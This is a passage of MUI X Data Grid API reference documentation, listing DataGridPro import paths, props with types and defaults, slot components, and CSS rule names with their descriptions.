| - | root--densityComfortable | Styles applied to the root element if density is "comfortable". |
| - | root--densityCompact | Styles applied to the root element if density is "compact". |
| - | root--densityStandard | Styles applied to the root element if density is "standard" (default). |
| - | root--disableUserSelection | Styles applied to the root element when user selection is disabled. |
| - | row--beingDragged | Styles applied to the row element when it is being dragged (entire row). |
| - | row--detailPanelExpanded | Styles applied to the row if its detail panel is open. |
| - | row--dragging | Styles applied to the floating special row reorder cell element when it is dragged. |
| - | row--dynamicHeight | Styles applied to the row if it has dynamic row height. |
| - | row--editable | Styles applied to the row element if the row is editable. |
| - | row--editing | Styles applied to the row element if the row is in edit mode. |
| - | row--firstVisible | Styles applied to the first visible row element on every page of the grid. |
| - | row--lastVisible | Styles applied to the last visible row element on every page of the grid. |
| - | rowCount | Styles applied to the footer row count element to show the total number of rows.
Only works when pagination is disabled. |
| - | rowReorderCell | Styles applied to the root element of the row reorder cell |
| - | rowReorderCell--draggable | Styles applied to the root element of the row reorder cell when dragging is allowed |
| - | rowReorderCellContainer | Styles applied to the row reorder cell container element. |
| - | rowReorderCellPlaceholder | Styles applied to the row's draggable placeholder element inside the special row reorder cell. |
| - | rowSkeleton | Styles applied to the skeleton row element. |
| - | scrollArea | Styles applied to both scroll area elements. |
| - | scrollArea--down | Styles applied to the bottom scroll area element. |
| - | scrollArea--left | Styles applied to the left scroll area element. |
| - | scrollArea--right | Styles applied to the right scroll area element. |
| - | scrollArea--up | Styles applied to the top scroll area element. |
| - | scrollbar | Styles applied to the scrollbars. |
| - | scrollbar--horizontal | Styles applied to the horizontal scrollbar. |
| - | scrollbar--vertical | Styles applied to the horizontal scrollbar. |
| - | scrollShadow | Styles applied to the scroll shadow element. |
| - | scrollShadow--horizontal | Styles applied to the horizontal scroll shadow element. |
| - | scrollShadow--vertical | Styles applied to the vertical scroll shadow element. |
| - | selectedRowCount | Styles applied to the footer selected row count element. |
| - | sidebar | Styles applied to the sidebar element. |
| - | sidebarHeader | Styles applied to the sidebar header element. |
| - | sortButton | Styles applied to the sort button element. |
| - | sortIcon | Styles applied to the sort button icon element. |
| - | toolbarContainer | Styles applied to the toolbar container element. |
| - | toolbarDivider | Styles applied to the toolbar divider element. |
| - | toolbarFilterList | Styles applied to the toolbar filter list element. |
| - | toolbarLabel | Styles applied to the toolbar label element. |
| - | toolbarQuickFilter | Styles applied to the toolbar quick filter root element. |
| - | toolbarQuickFilterControl | Styles applied to the toolbar quick filter control element. |
| - | toolbarQuickFilterTrigger | Styles applied to the toolbar quick filter trigger element. |
| - | treeDataGroupingCell | Styles applied to the root of the grouping column of the tree data. |
| - | treeDataGroupingCellToggle | Styles applied to the toggle of the grouping cell of the tree data. |
| - | virtualScroller | Styles applied to the virtualization container. |
| - | virtualScrollerContent | Styles applied to the virtualization content. |
| - | virtualScrollerContent--overflowed | Styles applied to the virtualization content when its height is bigger than the virtualization container. |
| - | virtualScrollerRenderZone | Styles applied to the virtualization render zone. |
| - | withBorderColor | Styles applied to cells, column header and other elements that have border.
Sets border color only. |
| - | withSidePanel |  |
| - | withVerticalBorder | Styles applied the grid if `showColumnVerticalBorder={true}`. |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-data-grid-premium/src/DataGridPremium/DataGridPremium.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-data-grid-premium/src/DataGridPremium/DataGridPremium.tsx)

---

# Source: https://mui.com/x/api/data-grid/data-grid-pro.md

# DataGridPro API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [DataGrid](/x/react-data-grid/#community-version-free-forever)
- [DataGridPro](/x/react-data-grid/#pro-version)
- [DataGridPremium](/x/react-data-grid/#premium-version)

## Import

```jsx
import { DataGridPro } from '@mui/x-data-grid-pro/DataGridPro';
// or
import { DataGridPro } from '@mui/x-data-grid-pro';
// or
import { DataGridPro } from '@mui/x-data-grid-premium';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| columns | `Array<object>` | - | Yes |  |
| apiRef | `{ current?: object }` | - | No |  |
| aria-label | `string` | - | No |  |
| aria-labelledby | `string` | - | No |  |
| autoHeight | `bool` | `false` | No |  |
| autoPageSize | `bool` | `false` | No |  |
| autosizeOnMount | `bool` | `false` | No |  |
| autosizeOptions | `{ columns?: Array<string>, disableColumnVirtualization?: bool, expand?: bool, includeHeaderFilters?: bool, includeHeaders?: bool, includeOutliers?: bool, outliersFactor?: number }` | - | No |  |
| cellModesModel | `object` | - | No |  |
| checkboxSelection | `bool` | `false` | No |  |
| checkboxSelectionVisibleOnly | `bool` | `false` | No |  |
| classes | `object` | - | No | Override or extend the styles applied to the component. |
| clipboardCopyCellDelimiter | `string` | `'\t'` | No |  |
| columnBufferPx | `number` | `150` | No |  |
| columnFilterDebounceMs | `number` | `150` | No |  |
| columnGroupHeaderHeight | `number` | - | No |  |
| columnHeaderHeight | `number` | `56` | No |  |
| columnVisibilityModel | `object` | - | No |  |
| dataSource | `{ getChildrenCount?: func, getGroupKey?: func, getRows: func, updateRow?: func }` | - | No |  |
| dataSourceCache | `{ clear: func, get: func, set: func }` | - | No |  |
| defaultGroupingExpansionDepth | `number` | `0` | No |  |
| density | `'comfortable' \| 'compact' \| 'standard'` | `"standard"` | No |  |
| detailPanelExpandedRowIds | `Set` | - | No |  |
| disableAutosize | `bool` | `false` | No |  |
| disableChildrenFiltering | `bool` | `false` | No |  |
| disableChildrenSorting | `bool` | `false` | No |  |
| disableColumnFilter | `bool` | `false` | No |  |
| disableColumnMenu | `bool` | `false` | No |  |
| disableColumnPinning | `bool` | `false` | No |  |
| disableColumnReorder | `bool` | `false` | No |  |
| disableColumnResize | `bool` | `false` | No |  |
| disableColumnSelector | `bool` | `false` | No |  |
| disableColumnSorting | `bool` | `false` | No |  |
| disableDensitySelector | `bool` | `false` | No |  |
| disableEval | `bool` | `false` | No |  |
| disableMultipleColumnsFiltering | `bool` | `false` | No |  |
| disableMultipleColumnsSorting | `bool` | `false` | No |  |
| disableMultipleRowSelection | `bool` | `false (`!props.checkboxSelection` for MIT Data Grid)` | No |  |
| disableRowSelectionExcludeModel | `bool` | `false` | No |  |
| disableRowSelectionOnClick | `bool` | `false` | No |  |
| disableVirtualization | `bool` | `false` | No |  |
| editMode | `'cell' \| 'row'` | `"cell"` | No |  |
| estimatedRowCount | `number` | - | No |  |
| experimentalFeatures | `{ warnIfFocusStateIsNotSynced?: bool }` | - | No |  |
| filterDebounceMs | `number` | `150` | No |  |
| filterMode | `'client' \| 'server'` | `"client"` | No |  |
| filterModel | `{ items: Array<{ field: string, id?: number \| string, operator: string, value?: any }>, logicOperator?: 'and' \| 'or', quickFilterExcludeHiddenColumns?: bool, quickFilterLogicOperator?: 'and' \| 'or', quickFilterValues?: array }` | - | No |  |
| getCellClassName | `function(params: GridCellParams) => string` | - | No |  |
| getDetailPanelContent | `function(params: GridRowParams) => React.JSX.Element` | - | No |  |
| getDetailPanelHeight | `function(params: GridRowParams) => number \| string` | `"() => 500"` | No |  |
| getEstimatedRowHeight | `function(params: GridRowHeightParams) => number \| null` | - | No |  |
| getRowClassName | `function(params: GridRowClassNameParams) => string` | - | No |  |
| getRowHeight | `function(params: GridRowHeightParams) => GridRowHeightReturnValue` | - | No |  |
| getRowId | `func` | - | No |  |
| getRowSpacing | `function(params: GridRowSpacingParams) => GridRowSpacing` | - | No |  |
| getTreeDataPath | `function(row: R) => Array<string>` | - | No |  |
| groupingColDef | `func \| object` | - | No |  |
| headerFilterHeight | `number` | - | No |  |
| headerFilters | `bool` | `false` | No |  |
| hideFooter | `bool` | `false` | No |  |
| hideFooterPagination | `bool` | `false` | No |  |
| hideFooterRowCount | `bool` | `false` | No |  |
| hideFooterSelectedRowCount | `bool` | `false` | No |  |
| ignoreDiacritics | `bool` | `false` | No |  |
| ignoreValueFormatterDuringExport | `{ clipboardExport?: bool, csvExport?: bool } \| bool` | `false` | No |  |
| initialState | `object` | - | No |  |
| isCellEditable | `function(params: GridCellParams) => boolean` | - | No |  |
| isGroupExpandedByDefault | `function(node: GridGroupNode) => boolean` | - | No |  |
| isRowReorderable | `function(params: object, params.row: R, params.rowNode: GridTreeNode) => boolean` | - | No |  |
| isRowSelectable | `function(params: GridRowParams) => boolean` | - | No |  |
| isValidRowReorder | `function(context: ReorderValidationContext) => boolean` | - | No |  |
| keepColumnPositionIfDraggedOutside | `bool` | `false` | No |  |
| keepNonExistentRowsSelected | `bool` | `false` | No |  |
| label | `string` | - | No |  |
| lazyLoading | `bool` | `false` | No |  |
| lazyLoadingRequestThrottleMs | `number` | `500` | No |  |
| listView | `bool` | - | No |  |
| listViewColumn | `{ align?: 'center' \| 'left' \| 'right', cellClassName?: func \| string, display?: 'flex' \| 'text', field: string, renderCell?: func }` | - | No |  |
| loading | `bool` | `false` | No |  |
| localeText | `object` | - | No |  |
| logger | `{ debug: func, error: func, info: func, warn: func }` | `console` | No |  |
| logLevel | `'debug' \| 'error' \| 'info' \| 'warn' \| false` | `"error" ("warn" in dev mode)` | No |  |
| multipleColumnsSortingMode | `'always' \| 'withModifierKey'` | `"withModifierKey"` | No |  |
| nonce | `string` | - | No |  |
| onCellClick | `function(params: GridCellParams, event: MuiEvent<React.MouseEvent>, details: GridCallbackDetails) => void` | - | No |  |
| onCellDoubleClick | `function(params: GridCellParams, event: MuiEvent<React.MouseEvent>, details: GridCallbackDetails) => void` | - | No |  |
| onCellEditStart | `function(params: GridCellParams, event: MuiEvent<React.KeyboardEvent \| React.MouseEvent>) => void` | - | No |  |
| onCellEditStop | `function(params: GridCellParams, event: MuiEvent<MuiBaseEvent>) => void` | - | No |  |
| onCellKeyDown | `function(params: GridCellParams, event: MuiEvent<React.KeyboardEvent>, details: GridCallbackDetails) => void` | - | No |  |
| onCellModesModelChange | `function(cellModesModel: GridCellModesModel, details: GridCallbackDetails) => void` | - | No |  |
| onClipboardCopy | `function(data: string) => void` | - | No |  |
| onColumnHeaderClick | `function(params: GridColumnHeaderParams, event: MuiEvent<React.MouseEvent>, details: GridCallbackDetails) => void` | - | No |  |
| onColumnHeaderContextMenu | `function(params: GridColumnHeaderParams, event: MuiEvent<React.MouseEvent>) => void` | - | No |  |
| onColumnHeaderDoubleClick | `function(params: GridColumnHeaderParams, event: MuiEvent<React.MouseEvent>, details: GridCallbackDetails) => void` | - | No |  |
| onColumnHeaderEnter | `function(params: GridColumnHeaderParams, event: MuiEvent<React.MouseEvent>, details: GridCallbackDetails) => void` | - | No |  |
| onColumnHeaderLeave | `function(params: GridColumnHeaderParams, event: MuiEvent<React.MouseEvent>, details: GridCallbackDetails) => void` | - | No |  |
| onColumnHeaderOut | `function(params: GridColumnHeaderParams, event: MuiEvent<React.MouseEvent>, details: GridCallbackDetails) => void` | - | No |  |
| onColumnHeaderOver | `function(params: GridColumnHeaderParams, event: MuiEvent<React.MouseEvent>, details: GridCallbackDetails) => void` | - | No |  |
| onColumnOrderChange | `function(params: GridColumnOrderChangeParams, event: MuiEvent<{}>, details: GridCallbackDetails) => void` | - | No |  |
| onColumnResize | `function(params: GridColumnResizeParams, event: MuiEvent<React.MouseEvent>, details: GridCallbackDetails) => void` | - | No |  |
| onColumnVisibilityModelChange | `function(model: GridColumnVisibilityModel, details: GridCallbackDetails) => void` | - | No |  |
| onColumnWidthChange | `function(params: GridColumnResizeParams, event: MuiEvent<React.MouseEvent>, details: GridCallbackDetails) => void` | - | No |  |
| onDataSourceError | `function(error: GridGetRowsError \| GridUpdateRowError) => void` | - | No |  |
| onDensityChange | `function(density: GridDensity) => void` | - | No |  |
| onDetailPanelExpandedRowIdsChange | `function(ids: Array<GridRowId>, details: GridCallbackDetails) => void` | - | No |  |
| onFetchRows (deprecated) | `function(params: GridFetchRowsParams, event: MuiEvent<{}>, details: GridCallbackDetails) => void` | - | No | ⚠️ Use the {@link [https://mui.com/x/react-data-grid/server-side-data/lazy-loading/#viewport-loading](https://mui.com/x/react-data-grid/server-side-data/lazy-loading/#viewport-loading) Server-side data-Viewport loading} instead. |
| onFilterModelChange | `function(model: GridFilterModel, details: GridCallbackDetails) => void` | - | No |  |
| onMenuClose | `function(params: GridMenuParams, event: MuiEvent<{}>, details: GridCallbackDetails) => void` | - | No |  |
| onMenuOpen | `function(params: GridMenuParams, event: MuiEvent<{}>, details: GridCallbackDetails) => void` | - | No |  |
| onPaginationMetaChange | `function(paginationMeta: GridPaginationMeta) => void` | - | No |  |
| onPaginationModelChange | `function(model: GridPaginationModel, details: GridCallbackDetails) => void` | - | No |  |
| onPinnedColumnsChange | `function(pinnedColumns: GridPinnedColumnFields, details: GridCallbackDetails) => void` | - | No |  |
| onPreferencePanelClose | `function(params: GridPreferencePanelParams, event: MuiEvent<{}>, details: GridCallbackDetails) => void` | - | No |  |
| onPreferencePanelOpen | `function(params: GridPreferencePanelParams, event: MuiEvent<{}>, details: GridCallbackDetails) => void` | - | No |  |
| onProcessRowUpdateError | `function(error: any) => void` | - | No |  |
| onResize | `function(containerSize: ElementSize, event: MuiEvent<{}>, details: GridCallbackDetails) => void` | - | No |  |
| onRowClick | `function(params: GridRowParams, event: MuiEvent<React.MouseEvent>, details: GridCallbackDetails) => void` | - | No |  |
| onRowCountChange | `function(count: number) => void` | - | No |  |
| onRowDoubleClick | `function(params: GridRowParams, event: MuiEvent<React.MouseEvent>, details: GridCallbackDetails) => void` | - | No |  |
| onRowEditStart | `function(params: GridRowParams, event: MuiEvent<React.KeyboardEvent \| React.MouseEvent>) => void` | - | No |  |
| onRowEditStop | `function(params: GridRowParams, event: MuiEvent<MuiBaseEvent>) => void` | - | No |  |
| onRowModesModelChange | `function(rowModesModel: GridRowModesModel, details: GridCallbackDetails) => void` | - | No |  |
| onRowOrderChange | `function(params: GridRowOrderChangeParams, event: MuiEvent<{}>, details: GridCallbackDetails) => void` | - | No |  |
| onRowSelectionModelChange | `function(rowSelectionModel: GridRowSelectionModel, details: GridCallbackDetails) => void` | - | No |  |
| onRowsScrollEnd (deprecated) | `function(params: GridRowScrollEndParams, event: MuiEvent<{}>, details: GridCallbackDetails) => void` | - | No | ⚠️ Use the {@link [https://mui.com/x/react-data-grid/server-side-data/lazy-loading/#infinite-loading](https://mui.com/x/react-data-grid/server-side-data/lazy-loading/#infinite-loading) Server-side data-Infinite loading} instead. |
| onSortModelChange | `function(model: GridSortModel, details: GridCallbackDetails) => void` | - | No |  |
| pageSizeOptions | `Array<number \| { label: string, value: number }>` | `[25, 50, 100]` | No |  |
| pagination | `bool` | `false` | No |  |
| paginationMeta | `{ hasNextPage?: bool }` | - | No |  |
| paginationMode | `'client' \| 'server'` | `"client"` | No |  |
| paginationModel | `{ page: number, pageSize: number }` | - | No |  |
| pinnedColumns | `object` | - | No |  |
| pinnedColumnsSectionSeparator | `'border-and-shadow' \| 'border' \| 'shadow'` | `'border-and-shadow'` | No |  |
| pinnedRows | `{ bottom?: Array<object>, top?: Array<object> }` | - | No |  |
| pinnedRowsSectionSeparator | `'border-and-shadow' \| 'border'` | `'border-and-shadow'` | No |  |
| processRowUpdate | `function(newRow: R, oldRow: R, params: { rowId: GridRowId }) => Promise<R> \| R` | - | No |  |
| resizeThrottleMs | `number` | `60` | No |  |
| rowBufferPx | `number` | `150` | No |  |
| rowCount | `number` | - | No |  |
| rowHeight | `number` | `52` | No |  |
| rowModesModel | `object` | - | No |  |
| rowReordering | `bool` | `false` | No |  |
| rows | `Array<object>` | `[]` | No |  |
| rowSelection | `bool` | `true` | No |  |
| rowSelectionModel | `{ ids: Set, type: 'exclude' \| 'include' }` | - | No |  |
| rowSelectionPropagation | `{ descendants?: bool, parents?: bool }` | `{ parents: true, descendants: true }` | No |  |
| rowsLoadingMode (deprecated) | `'client' \| 'server'` | `"client"` | No | ⚠️ Use the {@link [https://mui.com/x/react-data-grid/server-side-data/lazy-loading/#viewport-loading](https://mui.com/x/react-data-grid/server-side-data/lazy-loading/#viewport-loading) Server-side data-Viewport loading} instead. |
| rowSpacingType | `'border' \| 'margin'` | `"margin"` | No |  |
| rowSpanning | `bool` | `false` | No |  |
| scrollbarSize | `number` | - | No |  |
| scrollEndThreshold | `number` | `80` | No |  |
| setTreeDataPath | `function(path: Array<string>, row: R) => R` | - | No |  |
| showCellVerticalBorder | `bool` | `false` | No |  |
| showColumnVerticalBorder | `bool` | `false` | No |  |
| showToolbar | `bool` | `false` | No |  |
| slotProps | `object` | - | No |  |
| slots | `object` | - | No |  |
| sortingMode | `'client' \| 'server'` | `"client"` | No |  |
| sortingOrder | `Array<'asc' \| 'desc'>` | `['asc', 'desc', null]` | No |  |
| sortModel | `Array<{ field: string, sort?: 'asc' \| 'desc' }>` | - | No |  |
| sx | `Array<func \| object \| bool> \| func \| object` | - | No | The system prop that allows defining system overrides as well as additional CSS styles. |
| tabNavigation | `'all' \| 'content' \| 'header' \| 'none'` | `"none"` | No |  |
| throttleRowsMs | `number` | `0` | No |  |
| treeData | `bool` | `false` | No |  |
| virtualizeColumnsWithAutoRowHeight | `bool` | `false` | No |  |

> **Note**: The `ref` is forwarded to the root element (GridRoot).

## Slots

| Name | Default | Class | Description |
|------|---------|-------|-------------|
| headerFilterCell | `GridHeaderFilterCell` | - | Component responsible for showing menu adornment in Header filter row |
| headerFilterMenu | `GridHeaderFilterMenu` | - | Component responsible for showing menu in Header filter row |
| bottomContainer | `GridBottomContainer` | - | Component rendered for the bottom container. |
| cell | `GridCell` | `.MuiDataGridPro-cell` | Component rendered for each cell. |
| skeletonCell | `GridSkeletonCell` | - | Component rendered for each skeleton cell. |
| columnHeaderFilterIconButton | `GridColumnHeaderFilterIconButton` | - | Filter icon component rendered in each column header. |
| columnHeaderSortIcon | `GridColumnHeaderSortIcon` | - | Sort icon component rendered in each column header. |
| columnMenu | `GridColumnMenu` | - | Column menu component rendered by clicking on the 3 dots "kebab" icon in column headers. |
| columnHeaders | `GridColumnHeaders` | `.MuiDataGridPro-columnHeaders` | Component responsible for rendering the column headers. |
| detailPanels | `GridDetailPanels` | - | Component responsible for rendering the detail panels. |
| footer | `GridFooter` | - | Footer component rendered at the bottom of the grid viewport. |
| footerRowCount | `GridRowCount` | - | Row count component rendered in the footer |
| toolbar | `undefined` | `.MuiDataGridPro-toolbar` | Toolbar component rendered in the grid header. |
| loadingOverlay | `GridLoadingOverlay` | - | Loading overlay component rendered when the grid is in a loading state. |
| noResultsOverlay | `GridNoResultsOverlay` | - | No results overlay component rendered when the grid has no results after filtering. |
| noRowsOverlay | `GridNoRowsOverlay` | - | No rows overlay component rendered when the grid has no rows. |
| noColumnsOverlay | `GridNoColumnsOverlay` | - | No columns overlay component rendered when the grid has no columns. |
| pagination | `Pagination` | - | Pagination component rendered in the grid footer by default. |
| filterPanel | `GridFilterPanel` | - | Filter panel component rendered when clicking the filter button. |
| columnsPanel | `GridColumnsPanel` | - | GridColumns panel component rendered when clicking the columns button. |
| columnsManagement | `GridColumnsManagement` | `.MuiDataGridPro-columnsManagement` | Component used inside Grid Columns panel to manage columns. |
| panel | `GridPanel` | `.MuiDataGridPro-panel` | Panel component wrapping the filters and columns panels. |
| row | `GridRow` | `.MuiDataGridPro-row` | Component rendered for each row. |
| baseAutocomplete | `Autocomplete` | - | The custom Autocomplete component used in the grid for both header and cells. |
| baseBadge | `Badge` | - | The custom Badge component used in the grid for both header and cells. |
| baseCheckbox | `Checkbox` | - | The custom Checkbox component used in the grid for both header and cells. |
| baseChip | `Chip` | - | The custom Chip component used in the grid. |
| baseCircularProgress | `CircularProgress` | - | The custom CircularProgress component used in the grid. |
| baseDivider | `Divider` | - | The custom Divider component used in the grid. |
| baseLinearProgress | `LinearProgress` | - | The custom LinearProgress component used in the grid. |
| baseMenuList | `MenuList` | - | The custom MenuList component used in the grid. |
| baseMenuItem | `MenuItem` | - | The custom MenuItem component used in the grid. |
| baseTextField | `TextField` | - | The custom TextField component used in the grid. |
| baseSelect | `Select` | - | The custom Select component used in the grid. |
| baseButton | `Button` | - | The custom Button component used in the grid. |
| baseIconButton | `IconButton` | - | The custom IconButton component used in the grid. |
| baseInput | `Input` | - | The custom Input component used in the grid. |
| baseTextarea | `InputBase with multiline` | - | The custom Textarea component used in the grid for multiline text editing. |
| baseToggleButton | `ToggleButton` | - | The custom ToggleButton component used in the grid. |
| baseTooltip | `Tooltip` | - | The custom Tooltip component used in the grid. |
| basePagination | `Pagination` | - | The custom Pagination component used in the grid. |
| basePopper | `Popper` | - | The custom Popper component used in the grid. |
| baseSelectOption | `SelectOption` | - | The custom SelectOption component used in the grid. |
| baseSkeleton | `Skeleton` | - | The custom Skeleton component used in the grid. |
| baseSwitch | `Switch` | - | The custom Switch component used in the grid. |
| baseTabs | `Tabs` | - | The custom Tabs component used in the grid. |
| booleanCellTrueIcon | `GridCheckIcon` | - | Icon displayed on the boolean cell to represent the true value. |
| booleanCellFalseIcon | `GridCloseIcon` | - | Icon displayed on the boolean cell to represent the false value. |
| undoIcon | `GridUndoIcon` | - | Icon displayed on the undo button in the toolbar. |
| redoIcon | `GridRedoIcon` | - | Icon displayed on the redo button in the toolbar. |
| columnMenuIcon | `GridTripleDotsVerticalIcon` | - | Icon displayed on the side of the column header title to display the filter input component. |
| openFilterButtonIcon | `GridFilterListIcon` | - | Icon displayed on the open filter button present in the toolbar by default. |
| columnFilteredIcon | `GridFilterAltIcon` | - | Icon displayed on the column header menu to show that a filter has been applied to the column. |
| columnSelectorIcon | `GridColumnIcon` | - | Icon displayed on the column menu selector tab. |
| columnUnsortedIcon | `GridColumnUnsortedIcon` | - | Icon displayed on the side of the column header title when unsorted. |
| columnSortedAscendingIcon | `GridArrowUpwardIcon` | - | Icon displayed on the side of the column header title when sorted in ascending order. |
| columnSortedDescendingIcon | `GridArrowDownwardIcon` | - | Icon displayed on the side of the column header title when sorted in descending order. |
| columnResizeIcon | `GridSeparatorIcon` | - | Icon displayed in between two column headers that allows to resize the column header. |
| densityCompactIcon | `GridViewHeadlineIcon` | - | Icon displayed on the compact density option in the toolbar. |
| densityStandardIcon | `GridTableRowsIcon` | - | Icon displayed on the standard density option in the toolbar. |
| densityComfortableIcon | `GridViewStreamIcon` | - | Icon displayed on the "comfortable" density option in the toolbar. |
| exportIcon | `GridDownloadIcon` | - | Icon displayed on the open export button present in the toolbar by default. |
| moreActionsIcon | `GridMoreVertIcon` | - | Icon displayed on the `actions` column type to open the menu. |
| treeDataExpandIcon | `GridKeyboardArrowRight` | - | Icon displayed on the tree data toggling column when the children are collapsed |
| treeDataCollapseIcon | `GridExpandMoreIcon` | - | Icon displayed on the tree data toggling column when the children are expanded |
| groupingCriteriaExpandIcon | `GridKeyboardArrowRight` | - | Icon displayed on the grouping column when the children are collapsed |
| groupingCriteriaCollapseIcon | `GridExpandMoreIcon` | - | Icon displayed on the grouping column when the children are expanded |
| detailPanelExpandIcon | `GridAddIcon` | - | Icon displayed on the detail panel toggle column when collapsed. |
| detailPanelCollapseIcon | `GridRemoveIcon` | - | Icon displayed on the detail panel toggle column when expanded. |
| filterPanelAddIcon | `GridAddIcon` | - | Icon displayed for deleting the filter from filter panel. |
| filterPanelDeleteIcon | `GridDeleteIcon` | - | Icon displayed for deleting the filter from filter panel. |
| filterPanelRemoveAllIcon | `GridDeleteForeverIcon` | - | Icon displayed for deleting all the active filters from filter panel. |
| rowReorderIcon | `GridDragIcon` | `.MuiDataGridPro-rowReorderIcon` | Icon displayed on the `reorder` column type to reorder a row. |
| quickFilterIcon | `GridSearchIcon` | - | Icon displayed on the quick filter input. |
| quickFilterClearIcon | `GridCloseIcon` | - | Icon displayed on the quick filter reset input. |
| columnMenuHideIcon | `GridVisibilityOffIcon` | - | Icon displayed in column menu for hiding column |
| columnMenuSortAscendingIcon | `GridArrowUpwardIcon` | - | Icon displayed in column menu for ascending sort |
| columnMenuSortDescendingIcon | `GridArrowDownwardIcon` | - | Icon displayed in column menu for descending sort |
| columnMenuUnsortIcon | `null` | - | Icon displayed in column menu for unsort |
| columnMenuFilterIcon | `GridFilterAltIcon` | - | Icon displayed in column menu for filter |
| columnMenuManageColumnsIcon | `GridViewColumnIcon` | - | Icon displayed in column menu for showing all columns |
| columnMenuClearIcon | `GridClearIcon` | - | Icon displayed in column menu for clearing values |
| loadIcon | `GridLoadIcon` | - | Icon displayed on the input while processing. |
| columnReorderIcon | `GridDragIcon` | - | Icon displayed on the column reorder button. |
| menuItemCheckIcon | `GridCheckIcon` | - | Icon displayed to indicate that a menu item is selected. |
| longTextCellExpandIcon | `GridLongTextCellExpandIcon` | - | Icon displayed on the long text cell to expand the content. |
| longTextCellCollapseIcon | `GridLongTextCellCollapseIcon` | - | Icon displayed on the long text cell popup to collapse the content. |
| columnMenuPinLeftIcon | `GridPushPinLeftIcon` | - | Icon displayed in column menu for left pinning |
| columnMenuPinRightIcon | `GridPushPinRightIcon` | - | Icon displayed in column menu for right pinning |

## CSS

### Rule name

| Global class | Rule name | Description |
|--------------|-----------|-------------|
| - | actionsCell | Styles applied to the root element of the cell with type="actions". |
| - | aggregationColumnHeader | Styles applied to the root element of the column header when aggregated. |
| - | aggregationColumnHeader--alignCenter | Styles applied to the root element of the header when aggregation if `headerAlign="center"`. |
| - | aggregationColumnHeader--alignLeft | Styles applied to the root element of the header when aggregation if `headerAlign="left"`. |
| - | aggregationColumnHeader--alignRight | Styles applied to the root element of the header when aggregation if `headerAlign="right"`. |
| - | aggregationColumnHeaderLabel | Styles applied to the aggregation label in the column header when aggregated. |
| - | aggregationRowOverlayWrapper | Styles applied to the aggregation row overlay wrapper. |
| - | aiAssistantPanel | Styles applied to the root element of the AI assistant panel. |
| - | aiAssistantPanelBody | Styles applied to the AI assistant panel body. |
| - | aiAssistantPanelConversation | Styles applied to the AI assistant panel conversation. |
| - | aiAssistantPanelConversationList | Styles applied to the AI assistant panel conversation list. |
| - | aiAssistantPanelConversationTitle | Styles applied to the AI assistant panel conversation title. |
| - | aiAssistantPanelEmptyText | Styles applied to the AI assistant panel empty text. |
| - | aiAssistantPanelFooter | Styles applied to the AI assistant panel footer. |
| - | aiAssistantPanelHeader | Styles applied to the AI assistant panel header. |
| - | aiAssistantPanelSuggestions | Styles applied to the AI assistant panel suggestions. |
| - | aiAssistantPanelSuggestionsItem | Styles applied to the AI assistant panel suggestions item. |
| - | aiAssistantPanelSuggestionsLabel | Styles applied to the AI assistant panel suggestions label. |
| - | aiAssistantPanelSuggestionsList | Styles applied to the AI assistant panel suggestions list. |
| - | aiAssistantPanelTitle | Styles applied to the AI assistant panel title. |
| - | aiAssistantPanelTitleContainer | Styles applied to the AI assistant panel title container. |
| - | autoHeight | Styles applied to the root element if `autoHeight={true}`. |
| - | autosizing | Styles applied to the root element while it is being autosized. |
| - | booleanCell | Styles applied to the icon of the boolean cell. |
| - | cell--editable | Styles applied to the cell element if the cell is editable. |
| - | cell--editing | Styles applied to the cell element if the cell is in edit mode. |
| - | cell--flex | Styles applied to the cell element in flex display mode. |
| - | cell--pinnedLeft | Styles applied to the cell element if it is pinned to the left. |
| - | cell--pinnedRight | Styles applied to the cell element if it is pinned to the right. |
| - | cell--rangeBottom | Styles applied to the cell element if it is at the bottom edge of a cell selection range. |
| - | cell--rangeLeft | Styles applied to the cell element if it is at the left edge of a cell selection range. |
| - | cell--rangeRight | Styles applied to the cell element if it is at the right edge of a cell selection range. |
| - | cell--rangeTop | Styles applied to the cell element if it is at the top edge of a cell selection range. |
| - | cell--selectionMode | Styles applied to the cell element if it is in a cell selection range. |
| - | cell--textCenter | Styles applied to the cell element if `align="center"`. |
| - | cell--textLeft | Styles applied to the cell element if `align="left"`. |
| - | cell--textRight | Styles applied to the cell element if `align="right"`. |
| - | cell--withLeftBorder | Styles applied the cell if `showColumnVerticalBorder={true}`. |
| - | cell--withRightBorder | Styles applied the cell if `showColumnVerticalBorder={true}`. |
| - | cellCheckbox | Styles applied to the cell checkbox element. |
| - | cellEmpty | Styles applied to the empty cell element. |
| - | cellSkeleton | Styles applied to the skeleton cell element. |
| - | checkboxInput | Styles applied to the selection checkbox element. |
| - | collapsible | Styles applied to the collapsible element. |
| - | collapsibleIcon | Styles applied to the collapsible icon element. |
| - | collapsiblePanel | Styles applied to the collapsible panel element. |
| - | collapsibleTrigger | Styles applied to the collapsible trigger element. |
| - | columnHeader | Styles applied to the column header element. |
| - | columnHeader--alignCenter | Styles applied to the column header if `headerAlign="center"`. |
| - | columnHeader--alignLeft | Styles applied to the column header if `headerAlign="left"`. |
| - | columnHeader--alignRight | Styles applied to the column header if `headerAlign="right"`. |
| - | columnHeader--dragging | Styles applied to the floating column header element when it is dragged. |
| - | columnHeader--emptyGroup | Styles applied to the empty column group header cell. |
| - | columnHeader--filledGroup | Styles applied to the column group header cell if not empty. |
| - | columnHeader--filter | Styles applied to the header filter cell. |
| - | columnHeader--filtered | Styles applied to the column header if the column has a filter applied to it. |
| - | columnHeader--last | Styles applied to the last column header element. |
| - | columnHeader--moving | Styles applied to the column header if it is being dragged. |
| - | columnHeader--numeric | Styles applied to the column header if the type of the column is `number`. |
| - | columnHeader--pinnedLeft |  |
| - | columnHeader--pinnedRight |  |
| - | columnHeader--sortable | Styles applied to the column header if the column is sortable. |
| - | columnHeader--sorted | Styles applied to the column header if the column is sorted. |
| - | columnHeader--withLeftBorder |  |
| - | columnHeader--withRightBorder | Styles applied the column header if `showColumnVerticalBorder={true}`. |
| - | columnHeaderCheckbox | Styles applied to the header checkbox cell element. |
| - | columnHeaderDraggableContainer | Styles applied to the column header's draggable container element. |
| - | columnHeaderFilterInput | Styles applied to the header filter input element. |
| - | columnHeaderFilterOperatorLabel | Styles applied to the header filter operator label element. |
| - | columnHeaderTitle | Styles applied to the column header's title element; |
| - | columnHeaderTitleContainer | Styles applied to the column header's title container element. |
